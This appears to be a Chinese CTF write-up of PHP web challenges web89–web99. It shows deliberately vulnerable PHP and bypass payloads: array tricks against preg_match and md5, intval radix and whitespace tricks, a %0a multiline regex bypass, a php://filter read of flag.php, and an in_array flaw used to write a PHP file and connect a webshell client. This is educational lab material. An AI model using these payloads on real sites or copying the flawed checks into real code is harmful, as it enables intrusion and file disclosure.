目录
web89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
数组绕过正则表达式,如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。
?num[]=1
web90
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval函数的使用
intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
web91
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
i:不区分大小写
m: 多行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配
?cmd=%0aphp
- %0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
- 经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
重新回顾php弱比较
- 12==“12cdf” --> true,只取字符串中开头的整数部分
- 1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000.
- bool类型的true和任意字符串的弱类型相等(===为完全相等,数据类型和值都相等时返回true。)
- 字符串比较,就是比较的ASCII码,比"aa">“ab”。
- 字符串和整数的比较,规则和==的比较是一样的,也就是说,取字符串中开头的整数部分,不过符合科学计数法时要按照科学计数法来取。
- 如果字符串第一个字母,包括e,就取成0。也就是说"ab"–>0,“e1be”–>0。
?num=4476.1
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
i:区分大小写
?num=4476.1
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() 函数对大小写敏感。
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。
同时注意字符串位置是从0开始,而不是从1开始的。
不能用科学计数法
?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点
payload:
?num= 010574 //注意开头的空格
?num=%0a010574
?num=%20010574
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)
intval 会对以+或空格开头数字当作正数处理
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
路径问题
错误显示
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/read=convert.base64-encode/resource=flag.php php伪协议
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a[]=123&b[]=111
web98
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
考的是三目运算符
第一条语句是说不管get传什么都会被post覆盖
第四条语句是说如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
get随便传一个,post传HTTP_FLAG=flag
web99
array_push 将一个或多个单元压入数组的末尾(入栈)
in_array (needle,haystack,strict) 检查数组中是否存在某个值
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。如果 needle 是字符串,则比较是区分大小写的。
in_array()函数有缺陷,若没有设置第三个参数,则存在弱比较(类比==)
$allow = array(1,'2','3'); $allow = array('1','2','3');
var_dump(in_array('1.php',$allow)); var_dump(in_array('1.php',$allow));
返回的为true 返回false
因为新加进去的随机数字每次都包含1,1存在的几率是最大的。
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,,而数字1在 range(1,24)数组中,当随机生成的数字正好有1时绕过 in_array()函数判断,此外通过file_put_contents()将php代码写入这个1.php文件中,导致任意文件上传漏洞。
蚁剑连接,访问1.php